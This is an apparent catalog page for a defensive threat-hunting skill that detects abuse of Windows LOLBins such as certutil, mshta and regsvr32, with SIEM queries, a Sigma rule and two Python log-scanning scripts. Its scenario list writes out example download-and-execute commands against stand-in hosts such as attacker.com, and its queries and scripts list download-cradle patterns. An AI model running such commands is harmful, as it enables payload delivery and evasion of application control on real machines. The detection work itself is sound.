threat hunting

Hunting for LOLBins Execution in Endpoint Logs

Hunt for adversary abuse of Living Off the Land Binaries (LOLBins) by analyzing endpoint process creation logs for suspicious execution patterns of legitimate Windows system binaries used for malicious purposes.

defense-evasionendpoint-detectionliving-off-the-landlolbinsmitre-t1218process-monitoringthreat-hunting
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • When hunting for fileless attack techniques that abuse built-in Windows binaries
  • After threat intelligence indicates LOLBin-based campaigns targeting your industry
  • When investigating alerts for suspicious use of certutil, mshta, rundll32, or regsvr32
  • During purple team exercises testing detection of defense evasion techniques
  • When assessing endpoint detection coverage for MITRE ATT&CK T1218 sub-techniques

Prerequisites

  • Sysmon Event ID 1 (Process Creation) with full command-line logging
  • Windows Security Event ID 4688 with command-line auditing enabled
  • EDR telemetry with parent-child process relationships
  • SIEM platform for query and correlation (Splunk, Elastic, Microsoft Sentinel)
  • LOLBAS project reference (lolbas-project.github.io) for known abuse patterns

Workflow

  1. Build LOLBin Watchlist: Compile a list of high-risk LOLBins from the LOLBAS project, prioritizing: certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, cmstp.exe, wmic.exe, wscript.exe, cscript.exe, bitsadmin.exe, and powershell.exe.
  2. Baseline Normal Usage: Establish what normal LOLBin usage looks like in your environment by profiling command-line arguments, parent processes, and user contexts for each binary over 30 days.
  3. Hunt for Anomalous Arguments: Search for LOLBins executed with unusual command-line arguments indicating abuse -- certutil with -urlcache -decode -encode, mshta with URL arguments, rundll32 loading DLLs from temp/user directories, regsvr32 with /s /n /u /i:URL.
  4. Analyze Parent-Child Relationships: Identify unexpected parent processes spawning LOLBins -- for example, outlook.exe spawning mshta.exe, or winword.exe spawning certutil.exe indicates weaponized document delivery.
  5. Check Execution from Unusual Paths: LOLBins executed from non-standard paths (copies placed in %TEMP%, user profile directories) suggest renamed binary abuse.
  6. Correlate with Network Activity: Map LOLBin execution to outbound network connections (Sysmon Event ID 3) to identify download cradles and C2 callbacks.
  7. Score and Prioritize: Rank findings by anomaly severity, combining suspicious arguments, unusual parent process, non-standard path, and network activity indicators.

Key Concepts

Concept Description
T1218 System Binary Proxy Execution
T1218.001 Compiled HTML File (mshta.exe)
T1218.003 CMSTP
T1218.005 Mshta
T1218.010 Regsvr32 (Squiblydoo)
T1218.011 Rundll32
T1127.001 MSBuild
T1197 BITS Jobs (bitsadmin.exe)
T1140 Deobfuscate/Decode Files (certutil.exe)
T1059.001 PowerShell
T1059.005 Visual Basic (wscript/cscript)
LOLBAS Living Off the Land Binaries, Scripts and Libraries project

Tools & Systems

Tool Purpose
Sysmon Process creation with command-line and hash logging
CrowdStrike Falcon EDR with LOLBin detection analytics
Microsoft Defender for Endpoint Built-in LOLBin abuse detection
Splunk SPL-based process hunting and anomaly detection
Elastic Security Pre-built LOLBin detection rules
LOLBAS Project Reference database of LOLBin abuse techniques
Sigma Rules Community detection rules for LOLBin abuse

Detection Queries

Splunk -- High-Risk LOLBin Execution

index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\.exe$")
| eval suspicious=case(
    match(CommandLine, "(?i)certutil.*(-urlcache|-decode|-encode)"), "certutil_download_decode",
    match(CommandLine, "(?i)mshta.*(http|https|javascript|vbscript)"), "mshta_remote_exec",
    match(CommandLine, "(?i)rundll32.*\\\\(temp|appdata|users)"), "rundll32_unusual_dll",
    match(CommandLine, "(?i)regsvr32.*/s.*/n.*/u.*/i:"), "regsvr32_squiblydoo",
    match(CommandLine, "(?i)msbuild.*\\\\(temp|appdata|users)"), "msbuild_unusual_project",
    match(CommandLine, "(?i)bitsadmin.*/transfer"), "bitsadmin_download",
    match(CommandLine, "(?i)cmstp.*/s.*/ni"), "cmstp_uac_bypass",
    1=1, "normal"
)
| where suspicious!="normal"
| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious

KQL -- Microsoft Sentinel LOLBin Hunting

DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
    "msbuild.exe", "installutil.exe", "cmstp.exe", "bitsadmin.exe")
| where ProcessCommandLine matches regex @"(?i)(urlcache|decode|encode|http://|https://|javascript:|vbscript:|/s\s+/n|/transfer)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
    InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc

Sigma Rule -- Suspicious LOLBin Command Line

title: Suspicious LOLBin Execution with Malicious Arguments
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection_certutil:
        Image|endswith: '\certutil.exe'
        CommandLine|contains:
            - '-urlcache'
            - '-decode'
            - '-encode'
    selection_mshta:
        Image|endswith: '\mshta.exe'
        CommandLine|contains:
            - 'http://'
            - 'https://'
            - 'javascript:'
    selection_regsvr32:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains|all:
            - '/s'
            - '/i:'
    condition: 1 of selection_*
level: high
tags:
    - attack.defense_evasion
    - attack.t1218

Common Scenarios

  1. Certutil Download Cradle: certutil.exe -urlcache -split -f http://malicious.com/payload.exe %TEMP%\payload.exe used to download malware bypassing proxy filters.
  2. Mshta HTA Execution: mshta.exe http://attacker.com/malicious.hta executing remote HTA files containing VBScript or JScript payloads.
  3. Regsvr32 Squiblydoo: regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll executing remote SCT files to bypass application whitelisting.
  4. Rundll32 DLL Proxy: rundll32.exe C:\Users\user\AppData\Local\Temp\malicious.dll,EntryPoint executing attacker DLLs via legitimate binary.
  5. MSBuild Inline Task: msbuild.exe C:\Temp\malicious.csproj executing C# code embedded in project files to bypass application control.
  6. BITS Transfer: bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exe using BITS service for stealthy file download.
  7. WMIC XSL Execution: wmic process list /format:evil.xsl executing JScript/VBScript from XSL stylesheets.

Output Format

Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Host: [Hostname]
User: [Account context]
LOLBin: [Binary name]
Full Path: [Execution path]
Command Line: [Full arguments]
Parent Process: [Parent image and command line]
Detection Category: [download_cradle/proxy_exec/uac_bypass/applocker_bypass]
Network Activity: [Yes/No -- destination if applicable]
Risk Level: [Critical/High/Medium/Low]
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md1.8 KB

API Reference — Hunting for LOLBins Execution in Endpoint Logs

Libraries Used

  • csv: Parse exported endpoint log CSV files from SIEM or EDR
  • python-evtx (Evtx): Parse Windows Sysmon EVTX event logs directly
  • re: Regex matching for suspicious command-line patterns

CLI Interface

python agent.py csv --file <csv_path> [--process-col Image] [--cmdline-col CommandLine]
python agent.py evtx --file <evtx_path>

Core Functions

scan_csv_logs(csv_file, process_col, cmdline_col)

Scans CSV-exported endpoint logs for LOLBin process executions with suspicious arguments.

Parameters:

Name Type Description
csv_file str Path to CSV log file
process_col str Column name for process image path (default: Image)
cmdline_col str Column name for command line (default: CommandLine)

Returns: dict with total_findings, by_binary counts, by_mitre counts, findings list.

scan_evtx_sysmon(evtx_file)

Parses Sysmon EVTX logs for Event ID 1 (Process Creation) matching LOLBin signatures.

Parameters:

Name Type Description
evtx_file str Path to Sysmon .evtx file

Returns: dict with total_findings and findings with record IDs, binary names, MITRE IDs.

LOLBins Detected (14 binaries)

certutil.exe, mshta.exe, regsvr32.exe, rundll32.exe, bitsadmin.exe, wmic.exe, msiexec.exe, cmstp.exe, forfiles.exe, pcalua.exe, csc.exe, installutil.exe, msbuild.exe, powershell.exe

Output Format

{
  "total_findings": 12,
  "by_binary": {"powershell.exe": 5, "certutil.exe": 4},
  "by_mitre": {"T1059.001": 5, "T1140": 4},
  "findings": [{"binary": "...", "mitre": "...", "command_line": "..."}]
}

Dependencies

pip install python-evtx
standards.md2.6 KB

Standards and References - LOLBins Threat Hunting

MITRE ATT&CK LOLBin Techniques

Technique Binary Abuse Pattern
T1218.001 Compiled HTML (hh.exe) Execute payloads from CHM files
T1218.003 CMSTP UAC bypass and proxy execution
T1218.005 Mshta Execute HTA files with scripts
T1218.010 Regsvr32 Squiblydoo - remote SCT execution
T1218.011 Rundll32 Proxy execution of malicious DLLs
T1127.001 MSBuild Execute inline C#/VB tasks
T1197 Bitsadmin Stealthy file downloads via BITS
T1140 Certutil Download and decode files
T1059.001 PowerShell Script execution and download cradles
T1059.005 Wscript/Cscript VBScript/JScript execution
T1047 WMIC Remote execution and XSL script execution
T1053.005 Schtasks Scheduled task creation for persistence

Top 8 LOLBins by Threat Actor Usage (CrowdStrike Research)

LOLBin Common Abuse Detection Priority
PowerShell.exe Download cradles, encoded commands, AMSI bypass Critical
Cmd.exe Script execution, chaining with other LOLBins Critical
Rundll32.exe DLL proxy execution from user directories Critical
Certutil.exe File download (-urlcache), decode (-decode) High
Mshta.exe Remote HTA execution, inline scripts High
Regsvr32.exe SCT execution (Squiblydoo), COM object abuse High
MSBuild.exe Inline task execution bypassing AppLocker High
WMIC.exe Remote process creation, XSL execution Medium

Suspicious Parent-Child Process Relationships

Parent Process Child LOLBin Indicates
winword.exe mshta.exe Weaponized Office document
excel.exe certutil.exe Macro downloading payload
outlook.exe powershell.exe Phishing payload execution
wmiprvse.exe cmd.exe WMI-based lateral movement
explorer.exe regsvr32.exe User-triggered exploitation
svchost.exe msbuild.exe Service-based code execution
w3wp.exe cmd.exe Web shell activity

Sysmon Events for LOLBin Detection

Event ID Description LOLBin Relevance
1 Process Creation Primary detection - command line and parent process
3 Network Connection LOLBin outbound connections (download/C2)
7 Image Loaded DLLs loaded by LOLBins
11 File Created Files dropped by LOLBin execution
15 FileCreateStreamHash Alternate data stream creation
22 DNS Query DNS resolution from LOLBin processes
workflows.md3.4 KB

Detailed Hunting Workflow - LOLBins Execution Detection

Phase 1: Establish LOLBin Baseline

Step 1.1 - Profile Normal LOLBin Usage

index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin|wmic)\.exe$")
| stats count by Image CommandLine ParentImage User Computer
| sort -count

Step 1.2 - Identify Standard Parent-Child Relationships

index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32)\.exe$")
| stats count by ParentImage Image
| sort -count
| head 50

Phase 2: Hunt for Download Cradles

Step 2.1 - Certutil Download Detection

index=sysmon EventCode=1 Image="*\\certutil.exe"
| where match(CommandLine, "(?i)(-urlcache|-decode|-encode|-verifyctl)")
| table _time Computer User Image CommandLine ParentImage

Step 2.2 - Bitsadmin Transfer Detection

index=sysmon EventCode=1 Image="*\\bitsadmin.exe"
| where match(CommandLine, "(?i)(/transfer|/create|/addfile|/resume)")
| table _time Computer User CommandLine ParentImage

Step 2.3 - PowerShell Download Cradles

index=sysmon EventCode=1 Image="*\\powershell.exe"
| where match(CommandLine, "(?i)(DownloadString|DownloadFile|DownloadData|Invoke-WebRequest|iwr|wget|curl|Start-BitsTransfer|Net\.WebClient)")
| table _time Computer User CommandLine ParentImage

Phase 3: Hunt for Proxy Execution

Step 3.1 - Regsvr32 Squiblydoo

index=sysmon EventCode=1 Image="*\\regsvr32.exe"
| where match(CommandLine, "(?i)(/s.*(/n|/i:))|scrobj\.dll|http")
| table _time Computer User CommandLine ParentImage

Step 3.2 - MSBuild Inline Task Execution

index=sysmon EventCode=1 Image="*\\MSBuild.exe"
| where NOT match(ParentImage, "(?i)(devenv|msbuild|visual studio)")
| where match(CommandLine, "(?i)\\\\(temp|appdata|users|public)")
| table _time Computer User CommandLine ParentImage

Step 3.3 - Mshta Remote Execution

index=sysmon EventCode=1 Image="*\\mshta.exe"
| where match(CommandLine, "(?i)(http|https|javascript|vbscript)")
| table _time Computer User CommandLine ParentImage

Phase 4: Hunt for Unusual Parent Processes

Step 4.1 - Office Applications Spawning LOLBins

index=sysmon EventCode=1
| where match(ParentImage, "(?i)(winword|excel|powerpnt|outlook|onenote)\.exe$")
| where match(Image, "(?i)(cmd|powershell|certutil|mshta|rundll32|regsvr32|wscript|cscript)\.exe$")
| table _time Computer User ParentImage Image CommandLine

Step 4.2 - Web Server Spawning System Binaries

index=sysmon EventCode=1
| where match(ParentImage, "(?i)(w3wp|httpd|nginx|tomcat)\.exe$")
| where match(Image, "(?i)(cmd|powershell|certutil|whoami|net|net1|nltest)\.exe$")
| table _time Computer User ParentImage Image CommandLine

Phase 5: Correlate with Network Activity

Step 5.1 - LOLBin Network Connections

index=sysmon EventCode=3
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|bitsadmin|wscript)\.exe$")
| where NOT cidrmatch("10.0.0.0/8", DestinationIp)
| table _time Computer Image DestinationIp DestinationPort DestinationHostname

Phase 6: Response Actions

  1. Block identified malicious URLs and IPs at proxy/firewall
  2. Isolate endpoint if active compromise confirmed
  3. Collect process memory dump for malware analysis
  4. Deploy targeted detection rules for observed patterns
  5. Update application control policies to restrict LOLBin abuse

Scripts 2

agent.py5.6 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for hunting LOLBin execution patterns in endpoint logs (Sysmon, EDR)."""

import json
import argparse
import re
import csv

LOLBIN_SIGNATURES = {
    "certutil.exe": {"mitre": "T1140", "patterns": [r"-urlcache", r"-decode", r"-encode", r"-split.*http"]},
    "mshta.exe": {"mitre": "T1218.005", "patterns": [r"vbscript:", r"javascript:", r"https?://"]},
    "regsvr32.exe": {"mitre": "T1218.010", "patterns": [r"/s\s+/n\s+/u\s+/i:", r"scrobj\.dll"]},
    "rundll32.exe": {"mitre": "T1218.011", "patterns": [r"javascript:", r"shell32.*ShellExec"]},
    "bitsadmin.exe": {"mitre": "T1197", "patterns": [r"/transfer", r"/download", r"https?://"]},
    "wmic.exe": {"mitre": "T1047", "patterns": [r"process\s+call\s+create", r"/node:"]},
    "msiexec.exe": {"mitre": "T1218.007", "patterns": [r"/q.*https?://", r"/q.*/i\s+"]},
    "cmstp.exe": {"mitre": "T1218.003", "patterns": [r"/ni\s+/s", r"\.inf"]},
    "forfiles.exe": {"mitre": "T1202", "patterns": [r"/c\s+cmd", r"/c\s+powershell"]},
    "pcalua.exe": {"mitre": "T1202", "patterns": [r"-a\s+.*\.exe", r"-a\s+.*\.dll"]},
    "csc.exe": {"mitre": "T1127", "patterns": [r"/out:.*\\temp\\", r"/out:.*\\appdata\\"]},
    "installutil.exe": {"mitre": "T1218.004", "patterns": [r"/logfile=", r"/U\s+"]},
    "msbuild.exe": {"mitre": "T1127.001", "patterns": [r"\.xml$", r"\.csproj$", r"\\temp\\"]},
    "powershell.exe": {"mitre": "T1059.001", "patterns": [
        r"-enc\s+", r"IEX", r"Invoke-Expression", r"DownloadString",
        r"Net\.WebClient", r"-w\s+hidden", r"-nop\s+",
    ]},
}


def scan_csv_logs(csv_file, process_col="Image", cmdline_col="CommandLine"):
    """Scan exported CSV endpoint logs for LOLBin execution."""
    findings = []
    with open(csv_file, "r", encoding="utf-8", errors="replace") as f:
        reader = csv.DictReader(f)
        for row_num, row in enumerate(reader, 2):
            proc = row.get(process_col, "")
            cmdline = row.get(cmdline_col, "")
            proc_name = proc.split("\\")[-1].lower() if proc else ""
            if proc_name in LOLBIN_SIGNATURES:
                sig = LOLBIN_SIGNATURES[proc_name]
                for pattern in sig["patterns"]:
                    if re.search(pattern, cmdline, re.I):
                        findings.append({
                            "row": row_num,
                            "binary": proc_name,
                            "mitre": sig["mitre"],
                            "command_line": cmdline[:500],
                            "matched_pattern": pattern,
                            "user": row.get("User", row.get("user", "")),
                            "host": row.get("Computer", row.get("hostname", "")),
                            "timestamp": row.get("UtcTime", row.get("@timestamp", "")),
                        })
                        break
    severity_map = {"T1059.001": "high", "T1218.005": "high", "T1140": "medium"}
    for f_item in findings:
        f_item["severity"] = severity_map.get(f_item["mitre"], "medium")
    return {
        "file": str(csv_file),
        "total_findings": len(findings),
        "by_binary": _count_by(findings, "binary"),
        "by_mitre": _count_by(findings, "mitre"),
        "findings": findings[:500],
    }


def scan_evtx_sysmon(evtx_file):
    """Parse Sysmon EVTX for Event ID 1 matching LOLBin patterns."""
    try:
        import Evtx.Evtx as evtx_lib
    except ImportError:
        return {"error": "python-evtx not installed. Install: pip install python-evtx"}
    findings = []
    lolbin_set = set(LOLBIN_SIGNATURES.keys())
    with evtx_lib.Evtx(evtx_file) as log:
        for record in log.records():
            xml_str = record.xml()
            if "<EventID>1</EventID>" not in xml_str:
                continue
            xml_lower = xml_str.lower()
            for binary in lolbin_set:
                if binary in xml_lower:
                    sig = LOLBIN_SIGNATURES[binary]
                    for pattern in sig["patterns"]:
                        if re.search(pattern, xml_str, re.I):
                            findings.append({
                                "record_id": record.record_num(),
                                "binary": binary,
                                "mitre": sig["mitre"],
                                "pattern": pattern,
                                "xml_snippet": xml_str[:600],
                            })
                            break
                    break
    return {"file": evtx_file, "total_findings": len(findings), "findings": findings[:300]}


def _count_by(items, key):
    counts = {}
    for item in items:
        val = item.get(key, "unknown")
        counts[val] = counts.get(val, 0) + 1
    return dict(sorted(counts.items(), key=lambda x: x[1], reverse=True))


def main():
    parser = argparse.ArgumentParser(description="Hunt for LOLBin execution in endpoint logs")
    sub = parser.add_subparsers(dest="command")
    c = sub.add_parser("csv", help="Scan CSV-exported endpoint logs")
    c.add_argument("--file", required=True, help="CSV log file path")
    c.add_argument("--process-col", default="Image", help="Column name for process path")
    c.add_argument("--cmdline-col", default="CommandLine", help="Column name for command line")
    e = sub.add_parser("evtx", help="Scan Sysmon EVTX log")
    e.add_argument("--file", required=True, help="EVTX file path")
    args = parser.parse_args()
    if args.command == "csv":
        result = scan_csv_logs(args.file, args.process_col, args.cmdline_col)
    elif args.command == "evtx":
        result = scan_evtx_sysmon(args.file)
    else:
        parser.print_help()
        return
    print(json.dumps(result, indent=2, default=str))


if __name__ == "__main__":
    main()
process.py7.0 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
LOLBins Execution Hunting Script
Analyzes process creation logs to detect suspicious usage of
Living Off the Land Binaries by matching command-line patterns.
"""

import json
import csv
import argparse
import datetime
import re
from pathlib import Path

LOLBIN_PATTERNS = {
    "certutil.exe": {
        "patterns": [
            (r"(?i)-urlcache", "download_cradle", "HIGH"),
            (r"(?i)-decode", "file_decode", "HIGH"),
            (r"(?i)-encode", "file_encode", "MEDIUM"),
            (r"(?i)-verifyctl", "download_alt", "HIGH"),
        ],
        "technique": "T1140",
    },
    "mshta.exe": {
        "patterns": [
            (r"(?i)https?://", "remote_hta", "CRITICAL"),
            (r"(?i)javascript:", "inline_script", "CRITICAL"),
            (r"(?i)vbscript:", "inline_vbs", "CRITICAL"),
        ],
        "technique": "T1218.005",
    },
    "rundll32.exe": {
        "patterns": [
            (r"(?i)\\(temp|appdata|users)\\", "unusual_dll_path", "HIGH"),
            (r"(?i)javascript:", "js_execution", "CRITICAL"),
            (r"(?i)shell32\.dll.*ShellExec_RunDLL", "shell_exec", "MEDIUM"),
        ],
        "technique": "T1218.011",
    },
    "regsvr32.exe": {
        "patterns": [
            (r"(?i)/s.*/n.*/u.*/i:", "squiblydoo", "CRITICAL"),
            (r"(?i)scrobj\.dll", "scriptlet_exec", "CRITICAL"),
            (r"(?i)https?://", "remote_registration", "CRITICAL"),
        ],
        "technique": "T1218.010",
    },
    "msbuild.exe": {
        "patterns": [
            (r"(?i)\\(temp|appdata|users|public)\\", "unusual_project", "HIGH"),
            (r"(?i)\.(csproj|vbproj|xml)$", "project_execution", "MEDIUM"),
        ],
        "technique": "T1127.001",
    },
    "bitsadmin.exe": {
        "patterns": [
            (r"(?i)/transfer", "bits_download", "HIGH"),
            (r"(?i)/create.*(/addfile|/setnotifycmdline)", "bits_persistence", "CRITICAL"),
        ],
        "technique": "T1197",
    },
    "cmstp.exe": {
        "patterns": [
            (r"(?i)/s.*/ni", "uac_bypass", "CRITICAL"),
            (r"(?i)\.inf", "inf_execution", "HIGH"),
        ],
        "technique": "T1218.003",
    },
    "wmic.exe": {
        "patterns": [
            (r"(?i)/format:", "xsl_execution", "HIGH"),
            (r"(?i)process\s+call\s+create", "remote_exec", "HIGH"),
        ],
        "technique": "T1047",
    },
}

SUSPICIOUS_PARENTS = {
    "winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe",
    "onenote.exe", "w3wp.exe", "httpd.exe", "nginx.exe",
    "wmiprvse.exe", "svchost.exe",
}


def parse_events(input_path: str) -> list[dict]:
    """Parse process creation events from JSON or CSV."""
    path = Path(input_path)
    events = []
    if path.suffix == ".json":
        with open(path, "r", encoding="utf-8") as f:
            data = json.load(f)
            events = data if isinstance(data, list) else data.get("events", [])
    elif path.suffix == ".csv":
        with open(path, "r", encoding="utf-8-sig") as f:
            events = [dict(row) for row in csv.DictReader(f)]
    return events


def analyze_lolbins(events: list[dict]) -> list[dict]:
    """Detect suspicious LOLBin execution patterns."""
    findings = []
    for event in events:
        image = event.get("Image", event.get("FileName", event.get("image", "")))
        cmdline = event.get("CommandLine", event.get("ProcessCommandLine", event.get("command_line", "")))
        parent = event.get("ParentImage", event.get("InitiatingProcessFileName", event.get("parent_image", "")))
        user = event.get("User", event.get("AccountName", event.get("user", "")))
        computer = event.get("Computer", event.get("DeviceName", event.get("host", "")))
        timestamp = event.get("UtcTime", event.get("Timestamp", event.get("_time", "")))

        if not image or not cmdline:
            continue

        image_name = image.split("\\")[-1].lower()
        for lolbin, config in LOLBIN_PATTERNS.items():
            if image_name != lolbin.lower():
                continue
            for pattern, category, severity in config["patterns"]:
                if re.search(pattern, cmdline):
                    parent_name = parent.split("\\")[-1].lower() if parent else ""
                    suspicious_parent = parent_name in SUSPICIOUS_PARENTS
                    if suspicious_parent:
                        severity = "CRITICAL"

                    findings.append({
                        "timestamp": timestamp,
                        "computer": computer,
                        "user": user,
                        "lolbin": lolbin,
                        "image_path": image,
                        "command_line": cmdline,
                        "parent_process": parent,
                        "technique": config["technique"],
                        "category": category,
                        "severity": severity,
                        "suspicious_parent": suspicious_parent,
                    })
                    break

    return sorted(findings, key=lambda x: {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3}.get(x["severity"], 4))


def run_hunt(input_path: str, output_dir: str) -> None:
    """Execute LOLBin hunting analysis."""
    print(f"[*] LOLBin Execution Hunt - {datetime.datetime.now().isoformat()}")
    events = parse_events(input_path)
    print(f"[*] Loaded {len(events)} process events")

    findings = analyze_lolbins(events)
    print(f"[!] LOLBin detections: {len(findings)}")

    output_path = Path(output_dir)
    output_path.mkdir(parents=True, exist_ok=True)

    with open(output_path / "lolbin_findings.json", "w", encoding="utf-8") as f:
        json.dump({
            "hunt_id": f"TH-LOLBIN-{datetime.date.today().isoformat()}",
            "total_events": len(events),
            "findings_count": len(findings),
            "findings": findings,
        }, f, indent=2)

    with open(output_path / "lolbin_report.md", "w", encoding="utf-8") as f:
        f.write("# LOLBin Execution Hunt Report\n\n")
        f.write(f"**Date**: {datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
        f.write(f"**Events Analyzed**: {len(events)}\n")
        f.write(f"**Findings**: {len(findings)}\n\n")
        for finding in findings:
            f.write(f"## [{finding['severity']}] {finding['lolbin']} - {finding['category']}\n")
            f.write(f"- **Host**: {finding['computer']}\n")
            f.write(f"- **User**: {finding['user']}\n")
            f.write(f"- **Command**: `{finding['command_line']}`\n")
            f.write(f"- **Parent**: {finding['parent_process']}\n")
            f.write(f"- **Technique**: {finding['technique']}\n\n")

    print(f"[+] Results written to {output_dir}")


def main():
    parser = argparse.ArgumentParser(description="LOLBin Execution Hunting")
    parser.add_argument("--input", "-i", required=True, help="Path to process creation logs")
    parser.add_argument("--output", "-o", default="./lolbin_hunt_output", help="Output directory")
    args = parser.parse_args()
    run_hunt(args.input, args.output)


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 1.2 KB
Keep exploring